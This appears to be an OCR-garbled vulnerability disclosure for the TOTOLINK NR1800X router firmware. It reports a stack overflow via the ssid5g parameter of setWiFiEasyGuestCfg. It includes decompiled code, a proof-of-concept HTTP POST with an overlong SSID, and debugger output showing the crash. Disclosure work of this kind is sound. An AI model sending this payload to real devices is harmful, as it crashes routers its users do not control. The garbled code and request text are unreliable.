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totolink buffer Overflow

description:

a stack overflow vulnerability was found on TOTOLINK NR1800X V9.1.0u.6681_B20230703 was
discovered to contain an authenticated stack overflow via the ssid5g parameter in the
setWiFiEasyGuestCfg function.

Firmware

brand:totoLink
product:NR1800X
version: V9.1.0u.6681_B20230703 and the version before tihs.

The firmware can be downloaded from this website and using FirmAE to simulate the router
environment.
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analyze

T NC e )

7| 1int ivVar3;

8 char *pcVaré;

9| int ivarsS;

10| int ivVaré;

11| int ivar7;

12 undefinedd4 uvars;

13 int ivVar9;

14| int ivarlo;

15 size t sVarll;

16| undefinedl austack 130 [128];
17 undefinedl austack b0 [128];
18 int local 30;

19| int local 2c;

20
21| memset (auStack_130,0,0x80);

22 memset (austack bo0,0,0x80);

23 uVarl = websGetVar(param 1, "merge","0");

24 nvram set("guest merge custom",uvarl);

25| pcVarZ = (char *)websGetVar(param 1,"wifiOoff5g"™,"0");

26| 1ivar3 = atol(pcVarz);

27 uvarl = websGetVar(param 1,"ssid5g","");

28| pcVarZ = (char *)websGetVar(param 1,"key5g","");

29| pcVar4 = (char *)websGetVar(param 1,"hssid5g","0");

30 local 2c = atoi(pcVard);

31| pcvVard = (char *)websGetVar(param 1, "accessEnabled5g","0");
32 local 30 = atoi(pcvard);

33| pcVar4 = (char *)websGetVar(param 1,"encryptionWay 5g","0");
34 ivars = atol(pcVard);

35| pcVar4 = (char *)websGetVar(param 1,"encryptionType 5g","0");
36| ivare = atoi(pcvard);

37| pcvard = (char *)websGetVar(param 1, "keyType 5g","0");

38 iVar7 = atol(pcVard);

39 uvars = websGetVar(param 1,"key 5g","");

40 nvram set int("wl guest enable”,iVar3 == 0);
41 if (ivar3 == 0) {

a2z urldecode (uvVarl,austack b0);

143 nvram set ("wl guest ssid",auStack b0);

the identifier uvar1 retrieves the value from the ssid5g ,and without the check of length ,if the
length of ssid exceed 0x80 would lead to overflow in the function urldecode

POST /cgi-bin/cstecgi.cgi?token=35bc29daec5975b5d4212a3b55307948 HTTP/1.1 &
Host: 192.168.0.1

User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:136.0) Gecko/20100101
Firefox/136.0

Accept: application/json, text/javascript, */*; q=0.01

Accept-Language: en-US,en;q=0.5
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Accept-Encoding: gzip, deflate

Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest

Content-Length: 383

Origin: http://192.168.0.1

Connection: close

Referer: http://192.168.0.1/1login.html

Priority: u=0

"ssidbg":"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaac
"key":"0",

"hssid":"1",

"wifioff":"1",

"wifioffsg":"0",

"topicurl":"setWiFiEasyGuestCfg"



using burpsuite to send the post request and the result as follow

Burp Suite Professional \

tsF@tsf-virtual-machine: ~

Burp Project Intruder Repeater Window Help

Dashboard Target Proxy Intruder Repeater Sequencer Decodel . ) ) .
S Thread 7.1 "cstecgi.cgil" received signal SIGSEGV, Segmentation fault.

1 x 2 x 3 x 4 x 5 x in 727 ()

Sene Cancel LEGE 1 | I | | ROD.

[FEWH Raw Hex Wn =

1 POST fcgi-bin/cstecqgl.cgi?token=35hc28daec5875h5d4212a1
Host: 182.168.0.1

w N

User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv: <+ 0x6c5f5fo0
4 Accept: application/json, text/javascript, */*; g=0.01 <+ n
S Accept-Language: en-US,en;q=0.5 0x1841
5 Accept-Encoding: gzip, deflate OxFIFFFfff
7 Content-Type: application/x-www-form-urlencoded; charse 0xfo000000
8 X-Requested-With: XMLHttpRequest 1
9 Content-Length: 383 0x65722209 ('\t"re')
10 Origin: http://lBZ.lEE.O.l
11 Connection: close 0x39

Referer: http://192.168.0.1/login.html
Priority: u=0

T

0x61616161
0x61616161
0x61616161
0x61616161
0x61616161
0x61616161
0x61616161
0x61616161 ('aaaa')
setWlFlEasyGuestCfg” 0x61616161 ('aaaa')
w $vi, ($fp) /*
} + '3333232233333333333333333333333333333333333333333333333333333333333323333333332323333

"wifioffsg"
"topicurl

} + '3333232233333333333333333333333333333333333333333333333333333333333323333333332323333

0x61616161 ('aaaa')
0x61616161 ('aaaa')

@ &[] [5ear 0 matches 00:0000| fp sp 8 <4 'aaaasaaaaaaaaaaaaasaaasaaaasaanaaanaaanaaaasadasadasaaasnaaaasaaasaaasaaasa
Waiting aasasaaaaaaaaaaa’
e 7 skipped

> 0 0x61616161

and can find this request lead to the buffer overflow
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